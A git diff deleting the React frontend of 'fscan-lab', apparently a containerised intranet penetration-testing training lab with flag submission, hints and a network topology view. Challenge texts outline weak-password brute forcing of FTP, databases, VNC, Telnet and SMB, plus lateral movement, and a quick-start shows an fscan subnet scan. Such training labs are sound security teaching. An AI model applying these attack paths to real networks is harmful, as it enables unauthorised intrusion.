{ - throw new Error('useI18n must be used within I18nProvider') - } - return context -} diff --git a/fscan-lab/frontend/src/index.css b/fscan-lab/frontend/src/index.css deleted file mode 100644 index 00b08e39..00000000 --- a/fscan-lab/frontend/src/index.css +++ /dev/null @@ -1,59 +0,0 @@ -@tailwind base; -@tailwind components; -@tailwind utilities; - -@layer base { - :root { - --background: 0 0% 100%; - --foreground: 222.2 84% 4.9%; - --card: 0 0% 100%; - --card-foreground: 222.2 84% 4.9%; - --popover: 0 0% 100%; - --popover-foreground: 222.2 84% 4.9%; - --primary: 221.2 83.2% 53.3%; - --primary-foreground: 210 40% 98%; - --secondary: 210 40% 96.1%; - --secondary-foreground: 222.2 47.4% 11.2%; - --muted: 210 40% 96.1%; - --muted-foreground: 215.4 16.3% 46.9%; - --accent: 210 40% 96.1%; - --accent-foreground: 222.2 47.4% 11.2%; - --destructive: 0 84.2% 60.2%; - --destructive-foreground: 210 40% 98%; - --border: 214.3 31.8% 91.4%; - --input: 214.3 31.8% 91.4%; - --ring: 221.2 83.2% 53.3%; - --radius: 0.5rem; - } - - .dark { - --background: 222.2 84% 4.9%; - --foreground: 210 40% 98%; - --card: 222.2 84% 4.9%; - --card-foreground: 210 40% 98%; - --popover: 222.2 84% 4.9%; - --popover-foreground: 210 40% 98%; - --primary: 217.2 91.2% 59.8%; - --primary-foreground: 222.2 47.4% 11.2%; - --secondary: 217.2 32.6% 17.5%; - --secondary-foreground: 210 40% 98%; - --muted: 217.2 32.6% 17.5%; - --muted-foreground: 215 20.2% 65.1%; - --accent: 217.2 32.6% 17.5%; - --accent-foreground: 210 40% 98%; - --destructive: 0 62.8% 30.6%; - --destructive-foreground: 210 40% 98%; - --border: 217.2 32.6% 17.5%; - --input: 217.2 32.6% 17.5%; - --ring: 224.3 76.3% 48%; - } -} - -@layer base { - * { - @apply border-border; - } - body { - @apply bg-background text-foreground; - } -} diff --git a/fscan-lab/frontend/src/lib/api.ts b/fscan-lab/frontend/src/lib/api.ts deleted file mode 100644 index 6849a945..00000000 --- a/fscan-lab/frontend/src/lib/api.ts +++ /dev/null @@ -1,105 +0,0 @@ -import axios from 'axios' - -const API_URL = (import.meta as any).env?.VITE_API_URL || 'http://localhost:8888' - -export interface Challenge { - id: number - name: string - description: string - difficulty: string - points: number - network: string - targets: string[] - order?: number // 渗透顺序 -} - -export interface Progress { - user_id: string - completed_challenges: number[] - total_score: number - start_time: string - last_update: string - submission_history: Submission[] -} - -export interface Submission { - challenge_id: number - flag: string - correct: boolean - timestamp: string -} - -export interface NetworkNode { - id: string - name: string - ip: string - services: string[] - network: string - status: 'unknown' | 'discovered' | 'compromised' -} - -export interface NetworkEdge { - from: string - to: string - access: 'allowed' | 'blocked' | 'vpn' -} - -export interface NetworkTopology { - nodes: NetworkNode[] - edges: NetworkEdge[] -} - -export interface SubmitFlagResponse { - correct: boolean - message: string - points_earned?: number - total_score?: number - already_solved?: boolean -} - -const api = axios.create({ - baseURL: API_URL, - headers: { - 'Content-Type': 'application/json', - }, -}) - -export const getChallenges = async (): Promise => { - const response = await api.get('/api/challenges') - return response.data -} - -export const getChallenge = async (id: number): Promise => { - const response = await api.get(`/api/challenges/${id}`) - return response.data -} - -export const submitFlag = async ( - challengeId: number, - flag: string -): Promise => { - const response = await api.post('/api/submit', { - challenge_id: challengeId, - flag: flag.trim(), - }) - return response.data -} - -export const getProgress = async (): Promise => { - const response = await api.get('/api/progress') - return response.data -} - -export const resetProgress = async (): Promise => { - await api.post('/api/reset') -} - -export const getTopology = async (): Promise => { - const response = await api.get('/api/topology') - return response.data -} - -export const getHints = async (id: number): Promise => { - const response = await api.get(`/api/hints/${id}`) - return response.data.hints -} diff --git a/fscan-lab/frontend/src/lib/i18n.ts b/fscan-lab/frontend/src/lib/i18n.ts deleted file mode 100644 index 4253517c..00000000 --- a/fscan-lab/frontend/src/lib/i18n.ts +++ /dev/null @@ -1,241 +0,0 @@ -export const translations = { - zh: { - // Navigation - 'nav.title': 'fscan Lab', - 'nav.subtitle': '内网渗透训练平台', - 'nav.dashboard': '控制面板', - 'nav.network': '网络拓扑', - 'nav.challenges': '挑战列表', - - // Dashboard - 'dashboard.title': '控制面板', - 'dashboard.welcome': '欢迎来到 fscan 内网渗透训练平台', - 'dashboard.resetProgress': '重置进度', - 'dashboard.resetConfirm': '确定要重置进度吗?这将清除所有已完成的挑战记录。', - 'dashboard.totalScore': '总分', - 'dashboard.maxScore': '满分', - 'dashboard.completedChallenges': '已完成挑战', - 'dashboard.completionRate': '完成率', - 'dashboard.startTime': '开始时间', - 'dashboard.submissions': '提交次数', - 'dashboard.successful': '成功', - 'dashboard.progress': '完成进度', - 'dashboard.progressDesc': '已完成', - 'dashboard.progressDesc2': '个挑战', - 'dashboard.recentSubmissions': '最近提交', - 'dashboard.recentSubmissionsDesc': '最新的 5 次 flag 提交记录', - 'dashboard.noSubmissions': '暂无提交记录', - 'dashboard.correct': '正确', - 'dashboard.incorrect': '错误', - 'dashboard.challenge': '挑战', - 'dashboard.overview': '挑战概览', - 'dashboard.overviewDesc': '按难度分类的挑战统计', - 'dashboard.quickStart': '快速开始', - 'dashboard.quickStart1': '进入攻击者容器:', - 'dashboard.quickStart2': '开始扫描 DMZ 区:', - 'dashboard.quickStart3': '在"挑战列表"页面查看所有挑战并提交 flag', - 'dashboard.quickStart4': '在"网络拓扑"页面查看网络拓扑和攻击路径', - 'dashboard.loading': '加载中...', - - // Challenges - 'challenges.title': '挑战列表', - 'challenges.desc': '完成所有挑战,攻陷整个网络', - 'challenges.all': '全部', - 'challenges.search': '搜索挑战...', - 'challenges.difficulty': '难度', - 'challenges.points': '分', - 'challenges.network': '网络', - 'challenges.targets': '目标', - 'challenges.status': '状态', - 'challenges.completed': '已完成', - 'challenges.locked': '未完成', - 'challenges.submitFlag': '提交 Flag', - 'challenges.viewHints': '查看提示', - 'challenges.hideHints': '隐藏提示', - 'challenges.hints': '提示', - 'challenges.enterFlag': '输入 flag...', - 'challenges.submit': '提交', - 'challenges.submitting': '提交中...', - 'challenges.noChallenges': '未找到匹配的挑战', - - // Topology - 'topology.title': '网络拓扑', - 'topology.desc': '实时网络拓扑和攻击路径', - 'topology.legend': '图例', - 'topology.compromised': '已攻陷', - 'topology.discovered': '已发现', - 'topology.unknown': '未知', - 'topology.nodeInfo': '节点信息', - 'topology.selectNode': '点击节点查看详细信息', - 'topology.name': '名称', - 'topology.ip': 'IP 地址', - 'topology.services': '服务', - 'topology.status': '状态', - - // Network Labels - 'network.internet': '外网', - 'network.dmz': 'DMZ', - 'network.office': '办公网', - 'network.production': '生产网', - 'network.core': '核心网', - - // Difficulty - 'difficulty.Easy': 'Easy', - 'difficulty.Medium': 'Medium', - 'difficulty.Hard': 'Hard', - 'difficulty.Expert': 'Expert', - - // Common - 'common.points': '分', - 'common.score': '分数', - - // Challenge Content - 'challenge.1.name': 'DMZ 侦察', - 'challenge.1.desc': '扫描 DMZ 区,发现 Web 服务器并获取第一个 flag', - 'challenge.2.name': 'FTP 弱密码', - 'challenge.2.desc': '通过 FTP 弱密码进入 DMZ 区并获取 SSH 密钥', - 'challenge.3.name': 'VPN 网关突破', - 'challenge.3.desc': '使用获取的 SSH 密钥连接 VPN 网关进入办公网', - 'challenge.4.name': '办公网备份服务器', - 'challenge.4.desc': '发现 Rsync 备份服务器并获取敏感文件', - 'challenge.5.name': '生产网 Redis 渗透', - 'challenge.5.desc': '利用 Redis 弱密码获取 flag 并准备横向移动', - 'challenge.6.name': '核心网 MySQL 数据库', - 'challenge.6.desc': '爆破 MySQL 数据库获取敏感信息', - 'challenge.7.name': '最终目标 - MongoDB', - 'challenge.7.desc': '攻陷 MongoDB 获取最终 flag,完成整个网络渗透', - 'challenge.8.name': 'Elasticsearch 情报收集', - 'challenge.8.desc': '利用 Elasticsearch 未授权访问获取生产网敏感信息', - 'challenge.9.name': 'PostgreSQL 数据库渗透', - 'challenge.9.desc': '爆破 PostgreSQL 数据库获取业务数据', - 'challenge.10.name': 'MSSQL 数据库攻击', - 'challenge.10.desc': '攻破 MSSQL 数据库获取企业核心数据', - 'challenge.11.name': 'VNC 远程桌面入侵', - 'challenge.11.desc': '通过 VNC 弱密码获取办公网主机控制权', - 'challenge.12.name': '老旧 Telnet 服务', - 'challenge.12.desc': '利用古老的 Telnet 服务获取办公网老旧主机访问权', - 'challenge.13.name': '打印机 SMB 共享', - 'challenge.13.desc': '发现办公网打印机的 SMB 共享服务,通过弱密码访问共享文件', - }, - en: { - // Navigation - 'nav.title': 'fscan Lab', - 'nav.subtitle': 'Penetration Testing Platform', - 'nav.dashboard': 'Dashboard', - 'nav.network': 'Network', - 'nav.challenges': 'Challenges', - - // Dashboard - 'dashboard.title': 'Dashboard', - 'dashboard.welcome': 'Welcome to fscan Lab', - 'dashboard.resetProgress': 'Reset Progress', - 'dashboard.resetConfirm': 'Are you sure you want to reset progress? This will clear all completed challenges.', - 'dashboard.totalScore': 'Total Score', - 'dashboard.maxScore': 'Max', - 'dashboard.completedChallenges': 'Completed', - 'dashboard.completionRate': 'Completion', - 'dashboard.startTime': 'Started', - 'dashboard.submissions': 'Submissions', - 'dashboard.successful': 'successful', - 'dashboard.progress': 'Progress', - 'dashboard.progressDesc': 'Completed', - 'dashboard.progressDesc2': 'challenges', - 'dashboard.recentSubmissions': 'Recent Submissions', - 'dashboard.recentSubmissionsDesc': 'Last 5 flag submissions', - 'dashboard.noSubmissions': 'No submissions yet', - 'dashboard.correct': 'Correct', - 'dashboard.incorrect': 'Incorrect', - 'dashboard.challenge': 'Challenge', - 'dashboard.overview': 'Overview', - 'dashboard.overviewDesc': 'Challenges by difficulty', - 'dashboard.quickStart': 'Quick Start', - 'dashboard.quickStart1': 'Enter attacker container:', - 'dashboard.quickStart2': 'Start scanning DMZ:', - 'dashboard.quickStart3': 'View all challenges and submit flags in "Challenges" page', - 'dashboard.quickStart4': 'View network topology in "Network" page', - 'dashboard.loading': 'Loading...', - - // Challenges - 'challenges.title': 'Challenges', - 'challenges.desc': 'Complete all challenges to pwn the network', - 'challenges.all': 'All', - 'challenges.search': 'Search challenges...', - 'challenges.difficulty': 'Difficulty', - 'challenges.points': 'pts', - 'challenges.network': 'Network', - 'challenges.targets': 'Targets', - 'challenges.status': 'Status', - 'challenges.completed': 'Completed', - 'challenges.locked': 'Locked', - 'challenges.submitFlag': 'Submit Flag', - 'challenges.viewHints': 'View Hints', - 'challenges.hideHints': 'Hide Hints', - 'challenges.hints': 'Hints', - 'challenges.enterFlag': 'Enter flag...', - 'challenges.submit': 'Submit', - 'challenges.submitting': 'Submitting...', - 'challenges.noChallenges': 'No challenges found', - - // Topology - 'topology.title': 'Network Topology', - 'topology.desc': 'Real-time network topology and attack path', - 'topology.legend': 'Legend', - 'topology.compromised': 'Compromised', - 'topology.discovered': 'Discovered', - 'topology.unknown': 'Unknown', - 'topology.nodeInfo': 'Node Info', - 'topology.selectNode': 'Select a node to view details', - 'topology.name': 'Name', - 'topology.ip': 'IP Address', - 'topology.services': 'Services', - 'topology.status': 'Status', - - // Network Labels - 'network.internet': 'Internet', - 'network.dmz': 'DMZ', - 'network.office': 'Office', - 'network.production': 'Production', - 'network.core': 'Core', - - // Difficulty - 'difficulty.Easy': 'Easy', - 'difficulty.Medium': 'Medium', - 'difficulty.Hard': 'Hard', - 'difficulty.Expert': 'Expert', - - // Common - 'common.points': 'pts', - 'common.score': 'score', - - // Challenge Content - 'challenge.1.name': 'DMZ Reconnaissance', - 'challenge.1.desc': 'Scan DMZ network and discover the web server to get the first flag', - 'challenge.2.name': 'FTP Weak Password', - 'challenge.2.desc': 'Access DMZ through FTP weak password and obtain SSH key', - 'challenge.3.name': 'VPN Gateway Breach', - 'challenge.3.desc': 'Use SSH key to connect VPN gateway and enter office network', - 'challenge.4.name': 'Office Backup Server', - 'challenge.4.desc': 'Discover Rsync backup server and obtain sensitive files', - 'challenge.5.name': 'Production Redis Attack', - 'challenge.5.desc': 'Exploit Redis weak password to get flag and prepare lateral movement', - 'challenge.6.name': 'Core MySQL Database', - 'challenge.6.desc': 'Brute-force MySQL database to obtain sensitive information', - 'challenge.7.name': 'Final Target - MongoDB', - 'challenge.7.desc': 'Compromise MongoDB to get the final flag and pwn the entire network', - 'challenge.8.name': 'Elasticsearch Intelligence Gathering', - 'challenge.8.desc': 'Exploit Elasticsearch unauthorized access to obtain production network sensitive information', - 'challenge.9.name': 'PostgreSQL Database Penetration', - 'challenge.9.desc': 'Brute-force PostgreSQL database to obtain business data', - 'challenge.10.name': 'MSSQL Database Attack', - 'challenge.10.desc': 'Compromise MSSQL database to obtain enterprise core data', - 'challenge.11.name': 'VNC Remote Desktop Intrusion', - 'challenge.11.desc': 'Gain office network host control through VNC weak password', - 'challenge.12.name': 'Legacy Telnet Service', - 'challenge.12.desc': 'Exploit legacy Telnet service to gain access to old office host', - 'challenge.13.name': 'Printer SMB Share', - 'challenge.13.desc': 'Discover office printer SMB share service and access shared files via weak credentials', - }, -} - -export type Language = keyof typeof translations -export type TranslationKey = keyof typeof translations.zh diff --git a/fscan-lab/frontend/src/lib/utils.ts b/fscan-lab/frontend/src/lib/utils.ts deleted file mode 100644 index d084ccad..00000000 --- a/fscan-lab/frontend/src/lib/utils.ts +++ /dev/null @@ -1,6 +0,0 @@ -import { type ClassValue, clsx } from "clsx" -import { twMerge } from "tailwind-merge" - -export function cn(...inputs: ClassValue[]) { - return twMerge(clsx(inputs)) -} diff --git a/fscan-lab/frontend/src/main.tsx b/fscan-lab/frontend/src/main.tsx deleted file mode 100644 index bcdfc16f..00000000 --- a/fscan-lab/frontend/src/main.tsx +++ /dev/null @@ -1,13 +0,0 @@ -import React from 'react' -import ReactDOM from 'react-dom/client' -import App from './App.tsx' -import './index.css' -import { I18nProvider } from './contexts/I18nContext' - -ReactDOM.createRoot(document.getElementById('root')!).render( - - - - - , -) diff --git a/fscan-lab/frontend/src/pages/Challenges.tsx b/fscan-lab/frontend/src/pages/Challenges.tsx deleted file mode 100644 index 20e85156..00000000 --- a/fscan-lab/frontend/src/pages/Challenges.tsx +++ /dev/null @@ -1,234 +0,0 @@ -import { useEffect, useState } from 'react' -import { Check, HelpCircle, Target } from 'lucide-react' -import { Card, CardContent, CardDescription, CardFooter, CardHeader, CardTitle } from '@/components/ui/card' -import { Badge } from '@/components/ui/badge' -import { Button } from '@/components/ui/button' -import { Input } from '@/components/ui/input' -import { getChallenges, getProgress, submitFlag, getHints, type Challenge, type Progress } from '@/lib/api' -import { useI18n } from '@/contexts/I18nContext' - -export default function Challenges() { - const { t } = useI18n() - const [challenges, setChallenges] = useState([]) - const [progress, setProgress] = useState(null) - const [loading, setLoading] = useState(true) - const [submitting, setSubmitting] = useState(null) - const [flags, setFlags] = useState>({}) - const [hints, setHints] = useState>({}) - const [showHints, setShowHints] = useState>({}) - const [message, setMessage] = useState<{ type: 'success' | 'error'; text: string } | null>(null) - - const loadData = async () => { - try { - const [challengesData, progressData] = await Promise.all([ - getChallenges(), - getProgress(), - ]) - setChallenges(challengesData) - setProgress(progressData) - } catch (error) { - console.error('Failed to load data:', error) - } finally { - setLoading(false) - } - } - - useEffect(() => { - loadData() - }, []) - - const handleSubmit = async (challengeId: number) => { - const flag = flags[challengeId]?.trim() - if (!flag) { - setMessage({ type: 'error', text: 'Please enter a flag' }) - return - } - - setSubmitting(challengeId) - setMessage(null) - - try { - const result = await submitFlag(challengeId, flag) - if (result.correct) { - setMessage({ - type: 'success', - text: result.already_solved - ? 'Already solved!' - : `Correct! +${result.points_earned} points`, - }) - setFlags({ ...flags, [challengeId]: '' }) - await loadData() - } else { - setMessage({ type: 'error', text: 'Incorrect flag. Try again!' }) - } - } catch (error) { - setMessage({ type: 'error', text: 'Submission failed' }) - } finally { - setSubmitting(null) - setTimeout(() => setMessage(null), 3000) - } - } - - const handleShowHints = async (challengeId: number) => { - if (!hints[challengeId]) { - const challengeHints = await getHints(challengeId) - setHints({ ...hints, [challengeId]: challengeHints }) - } - setShowHints({ ...showHints, [challengeId]: !showHints[challengeId] }) - } - - const getDifficultyColor = (difficulty: string) => { - switch (difficulty) { - case 'Easy': - return 'bg-green-500' - case 'Medium': - return 'bg-yellow-500' - case 'Hard': - return 'bg-orange-500' - case 'Expert': - return 'bg-red-500' - default: - return 'bg-gray-500' - } - } - - const getNetworkColor = (network: string) => { - switch (network) { - case 'dmz': - return 'bg-blue-500/10 text-blue-500 border-blue-500/20' - case 'office': - return 'bg-purple-500/10 text-purple-500 border-purple-500/20' - case 'production': - return 'bg-orange-500/10 text-orange-500 border-orange-500/20' - case 'core': - return 'bg-red-500/10 text-red-500 border-red-500/20' - default: - return 'bg-gray-500/10 text-gray-500 border-gray-500/20' - } - } - - if (loading) { - return ( -
-
{t('dashboard.loading')}
-
- ) - } - - return ( -
-
-

{t('challenges.title')}

-

- {t('challenges.desc')} -

-
- - {message && ( -
- {message.text} -
- )} - -
- {challenges.sort((a, b) => (a.order || 0) - (b.order || 0)).map((challenge) => { - const isCompleted = progress?.completed_challenges.includes(challenge.id) || false - const flagValue = flags[challenge.id] || '' - - return ( - - -
-
-
- {t(`challenge.${challenge.id}.name` as any)} - {isCompleted && ( - - )} -
- {t(`challenge.${challenge.id}.desc` as any)} -
- - {t(`difficulty.${challenge.difficulty}` as any)} - -
-
- -
- {t('challenges.points')} - {challenge.points} -
-
- {t('challenges.network')} - - {t(`network.${challenge.network}` as any)} - -
-
- {t('challenges.targets')} - {challenge.targets.join(', ')} -
- - {!isCompleted && ( -
-
- - setFlags({ ...flags, [challenge.id]: e.target.value }) - } - onKeyDown={(e) => { - if (e.key === 'Enter') handleSubmit(challenge.id) - }} - /> - -
- - {showHints[challenge.id] && hints[challenge.id] && ( -
- {hints[challenge.id].map((hint, idx) => ( -
- - {hint} -
- ))} -
- )} -
- )} -
- {isCompleted && ( - -
- - {t('challenges.completed')} -
-
- )} -
- ) - })} -
-
- ) -} diff --git a/fscan-lab/frontend/src/pages/Dashboard.tsx b/fscan-lab/frontend/src/pages/Dashboard.tsx deleted file mode 100644 index 45e92c6d..00000000 --- a/fscan-lab/frontend/src/pages/Dashboard.tsx +++ /dev/null @@ -1,219 +0,0 @@ -import { useEffect, useState } from 'react' -import { Trophy, Target, Clock, Zap } from 'lucide-react' -import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card' -import { Progress } from '@/components/ui/progress' -import { Badge } from '@/components/ui/badge' -import { Button } from '@/components/ui/button' -import { getProgress, getChallenges, resetProgress, type Progress as ProgressType, type Challenge } from '@/lib/api' -import { useI18n } from '@/contexts/I18nContext' - -export default function Dashboard() { - const { t } = useI18n() - const [progress, setProgress] = useState(null) - const [challenges, setChallenges] = useState([]) - const [loading, setLoading] = useState(true) - - const loadData = async () => { - try { - const [progressData, challengesData] = await Promise.all([ - getProgress(), - getChallenges(), - ]) - setProgress(progressData) - setChallenges(challengesData) - } catch (error) { - console.error('Failed to load data:', error) - } finally { - setLoading(false) - } - } - - useEffect(() => { - loadData() - const interval = setInterval(loadData, 5000) - return () => clearInterval(interval) - }, []) - - const handleReset = async () => { - if (confirm(t('dashboard.resetConfirm'))) { - await resetProgress() - await loadData() - } - } - - if (loading) { - return ( -
-
{t('dashboard.loading')}
-
- ) - } - - const totalChallenges = challenges.length - const completedChallenges = progress?.completed_challenges.length || 0 - const completionRate = totalChallenges > 0 ? (completedChallenges / totalChallenges) * 100 : 0 - const maxScore = challenges.reduce((sum, c) => sum + c.points, 0) - - const recentSubmissions = progress?.submission_history.slice(-5).reverse() || [] - - return ( -
-
-
-

{t('dashboard.title')}

-

- {t('dashboard.welcome')} -

-
- -
- -
- - - {t('dashboard.totalScore')} - - - -
{progress?.total_score || 0}
-

- {t('dashboard.maxScore')} {maxScore} {t('common.points')} -

-
-
- - - - {t('dashboard.completedChallenges')} - - - -
- {completedChallenges} / {totalChallenges} -
-

- {t('dashboard.completionRate')} {completionRate.toFixed(0)}% -

-
-
- - - - {t('dashboard.startTime')} - - - -
- {progress ? new Date(progress.start_time).toLocaleDateString() : '-'} -
-

- {progress ? new Date(progress.start_time).toLocaleTimeString() : ''} -

-
-
- - - - {t('dashboard.submissions')} - - - -
- {progress?.submission_history.length || 0} -
-

- {t('dashboard.successful')} {progress?.submission_history.filter(s => s.correct).length || 0} -

-
-
-
- - - - {t('dashboard.progress')} - {t('dashboard.progressDesc')} {completedChallenges} / {totalChallenges} {t('dashboard.progressDesc2')} - - - - - - -
- - - {t('dashboard.recentSubmissions')} - {t('dashboard.recentSubmissionsDesc')} - - - {recentSubmissions.length === 0 ? ( -

{t('dashboard.noSubmissions')}

- ) : ( -
- {recentSubmissions.map((sub, idx) => { - const challenge = challenges.find(c => c.id === sub.challenge_id) - return ( -
-
-

{challenge?.name || `${t('dashboard.challenge')} ${sub.challenge_id}`}

-

- {new Date(sub.timestamp).toLocaleString()} -

-
- - {sub.correct ? t('dashboard.correct') : t('dashboard.incorrect')} - -
- ) - })} -
- )} -
-
- - - - {t('dashboard.overview')} - {t('dashboard.overviewDesc')} - - -
- {['Easy', 'Medium', 'Hard', 'Expert'].map(difficulty => { - const diffChallenges = challenges.filter(c => c.difficulty === difficulty) - const completed = diffChallenges.filter(c => - progress?.completed_challenges.includes(c.id) - ).length - const total = diffChallenges.length - - if (total === 0) return null - - return ( -
-
- {t(`difficulty.${difficulty}` as any)} - {completed} / {total} -
- -
- ) - })} -
-
-
-
- - - - {t('dashboard.quickStart')} - - -

1. {t('dashboard.quickStart1')}docker exec -it lab-attacker /bin/bash

-

2. {t('dashboard.quickStart2')}fscan -h 10.10.1.0/24

-

3. {t('dashboard.quickStart3')}

-

4. {t('dashboard.quickStart4')}

-
-
-
- ) -} diff --git a/fscan-lab/frontend/src/pages/Topology.tsx b/fscan-lab/frontend/src/pages/Topology.tsx deleted file mode 100644 index 7d212565..00000000 --- a/fscan-lab/frontend/src/pages/Topology.tsx +++ /dev/null @@ -1,268 +0,0 @@ -import { useEffect, useState, useCallback } from 'react' -import ReactFlow, { - Node, - Edge, - Background, - Controls, - MiniMap, - useNodesState, - useEdgesState, - MarkerType, -} from 'reactflow' -import 'reactflow/dist/style.css' -import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card' -import { Badge } from '@/components/ui/badge' -import { getTopology, getProgress } from '@/lib/api' -import { useI18n } from '@/contexts/I18nContext' - -export default function Topology() { - const { t } = useI18n() - const [nodes, setNodes, onNodesChange] = useNodesState([]) - const [edges, setEdges, onEdgesChange] = useEdgesState([]) - const [selectedNode, setSelectedNode] = useState(null) - const [loading, setLoading] = useState(true) - - const loadTopology = useCallback(async () => { - try { - const [topology] = await Promise.all([getTopology(), getProgress()]) - - const networkPositions: Record = { - internet: { x: 400, y: 50 }, - attacker: { x: 400, y: 150 }, - 'web-dmz': { x: 200, y: 300 }, - 'mail-dmz': { x: 350, y: 300 }, - 'ftp-dmz': { x: 500, y: 300 }, - 'vpn-gateway': { x: 650, y: 300 }, - 'pc-vnc': { x: 100, y: 500 }, - 'pc-ssh': { x: 250, y: 500 }, - 'backup-server': { x: 400, y: 500 }, - 'printer': { x: 550, y: 500 }, - 'oldpc-telnet': { x: 700, y: 500 }, - 'app-web': { x: 100, y: 700 }, - 'cache-redis': { x: 250, y: 700 }, - 'mq-rabbit': { x: 400, y: 700 }, - 'mq-activemq': { x: 550, y: 700 }, - 'search-es': { x: 700, y: 700 }, - 'db-mysql': { x: 100, y: 900 }, - 'db-mssql': { x: 250, y: 900 }, - 'db-postgres': { x: 400, y: 900 }, - 'db-mongo': { x: 550, y: 900 }, - 'dc-ldap': { x: 700, y: 900 }, - } - - const getNodeColor = (status: string) => { - switch (status) { - case 'compromised': - return '#ef4444' - case 'discovered': - return '#f59e0b' - case 'unknown': - return '#6b7280' - default: - return '#6b7280' - } - } - - const getNetworkLabel = (network: string) => { - return t(`network.${network}` as any) || network - } - - const flowNodes: Node[] = topology.nodes.map((node) => { - const position = networkPositions[node.id] || { x: Math.random() * 800, y: Math.random() * 1000 } - return { - id: node.id, - type: 'default', - position, - data: { - label: ( -
-
{node.name}
-
{node.ip}
-
- - {getNetworkLabel(node.network)} - -
-
- ), - ...node, - }, - style: { - background: '#fff', - border: `2px solid ${getNodeColor(node.status)}`, - borderRadius: 8, - padding: 10, - width: 140, - }, - } - }) - - const flowEdges: Edge[] = topology.edges.map((edge, idx) => ({ - id: `${edge.from}-${edge.to}-${idx}`, - source: edge.from, - target: edge.to, - animated: edge.access === 'vpn', - style: { - stroke: edge.access === 'blocked' ? '#ef4444' : edge.access === 'vpn' ? '#3b82f6' : '#6b7280', - strokeWidth: edge.access === 'vpn' ? 2 : 1, - strokeDasharray: edge.access === 'blocked' ? '5,5' : undefined, - }, - markerEnd: { - type: MarkerType.ArrowClosed, - color: edge.access === 'blocked' ? '#ef4444' : edge.access === 'vpn' ? '#3b82f6' : '#6b7280', - }, - })) - - setNodes(flowNodes) - setEdges(flowEdges) - } catch (error) { - console.error('Failed to load topology:', error) - } finally { - setLoading(false) - } - }, [setNodes, setEdges]) - - useEffect(() => { - loadTopology() - const interval = setInterval(loadTopology, 10000) - return () => clearInterval(interval) - }, [loadTopology]) - - const onNodeClick = useCallback((_: any, node: Node) => { - setSelectedNode(node.data) - }, []) - - if (loading) { - return ( -
-
{t('dashboard.loading')}
-
- ) - } - - return ( -
-
-

{t('topology.title')}

-

- {t('topology.desc')} -

-
- -
-
- - -
- - - - - -
-
-
-
- -
- - - {t('topology.legend')} - - -
-
- {t('topology.compromised')} -
-
-
- {t('topology.discovered')} -
-
-
- {t('topology.unknown')} -
-
-
- - {selectedNode ? ( - - - {t('topology.nodeInfo')} - {selectedNode.name} - - -
-
{t('topology.ip')}
-
{selectedNode.ip}
-
-
-
{t('challenges.network')}
- {t(`network.${selectedNode.network}` as any)} -
-
-
{t('topology.status')}
- - {t(`topology.${selectedNode.status}` as any)} - -
- {selectedNode.services && selectedNode.services.length > 0 && ( -
-
{t('topology.services')}
-
- {selectedNode.services.map((service: string, idx: number) => ( -
- {service} -
- ))} -
-
- )} -
-
- ) : ( - - - {t('topology.nodeInfo')} - - -

{t('topology.selectNode')}

-
-
- )} - - - - 攻击路径 - - -
-
1
- 外网 → DMZ -
-
-
2
- DMZ → 办公网(VPN) -
-
-
3
- 办公网 → 生产网 -
-
-
4
- 生产网 → 核心网 -
-
-
-
-
-
- ) -} diff --git a/fscan-lab/frontend/tailwind.config.js b/fscan-lab/frontend/tailwind.config.js deleted file mode 100644 index 7cab475e..00000000 --- a/fscan-lab/frontend/tailwind.config.js +++ /dev/null @@ -1,76 +0,0 @@ -/** @type {import('tailwindcss').Config} */ -export default { - darkMode: ["class"], - content: [ - './pages/**/*.{ts,tsx}', - './components/**/*.{ts,tsx}', - './app/**/*.{ts,tsx}', - './src/**/*.{ts,tsx}', - ], - theme: { - container: { - center: true, - padding: "2rem", - screens: { - "2xl": "1400px", - }, - }, - extend: { - colors: { - border: "hsl(var(--border))", - input: "hsl(var(--input))", - ring: "hsl(var(--ring))", - background: "hsl(var(--background))", - foreground: "hsl(var(--foreground))", - primary: { - DEFAULT: "hsl(var(--primary))", - foreground: "hsl(var(--primary-foreground))", - }, - secondary: { - DEFAULT: "hsl(var(--secondary))", - foreground: "hsl(var(--secondary-foreground))", - }, - destructive: { - DEFAULT: "hsl(var(--destructive))", - foreground: "hsl(var(--destructive-foreground))", - }, - muted: { - DEFAULT: "hsl(var(--muted))", - foreground: "hsl(var(--muted-foreground))", - }, - accent: { - DEFAULT: "hsl(var(--accent))", - foreground: "hsl(var(--accent-foreground))", - }, - popover: { - DEFAULT: "hsl(var(--popover))", - foreground: "hsl(var(--popover-foreground))", - }, - card: { - DEFAULT: "hsl(var(--card))", - foreground: "hsl(var(--card-foreground))", - }, - }, - borderRadius: { - lg: "var(--radius)", - md: "calc(var(--radius) - 2px)", - sm: "calc(var(--radius) - 4px)", - }, - keyframes: { - "accordion-down": { - from: { height: 0 }, - to: { height: "var(--radix-accordion-content-height)" }, - }, - "accordion-up": { - from: { height: "var(--radix-accordion-content-height)" }, - to: { height: 0 }, - }, - }, - animation: { - "accordion-down": "accordion-down 0.2s ease-out", - "accordion-up": "accordion-up 0.2s ease-out", - }, - }, - }, - plugins: [require("tailwindcss-animate")], -} diff --git a/fscan-lab/frontend/tsconfig.json b/fscan-lab/frontend/tsconfig.json deleted file mode 100644 index c20738e2..00000000 --- a/fscan-lab/frontend/tsconfig.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2020", - "useDefineForClassFields": true, - "lib": ["ES2020", "DOM", "DOM.Iterable"], - "module": "ESNext", - "skipLibCheck": true, - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "resolveJsonModule": true, - "isolatedModules": true, - "noEmit": true, - "jsx": "react-jsx", - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true, - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"] - } - }, - "include": ["src"], - "references": [{ "path": "./tsconfig.node.json" }] -} diff --git a/fscan-lab/frontend/tsconfig.node.json b/fscan-lab/frontend/tsconfig.node.json deleted file mode 100644 index 42872c59..00000000 --- a/fscan-lab/frontend/tsconfig.node.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "compilerOptions": { - "composite": true, - "skipLibCheck": true, - "module": "ESNext", - "moduleResolution": "bundler", - "allowSyntheticDefaultImports": true - }, - "include": ["vite.config.ts"] -} diff --git a/fscan-lab/frontend/vite.config.ts b/fscan-lab/frontend/vite.config.ts deleted file mode 100644 index cbbabec1..00000000 --- a/fscan-lab/frontend/vite.config.ts +++ /dev/null @@ -1,16 +0,0 @@ -import { 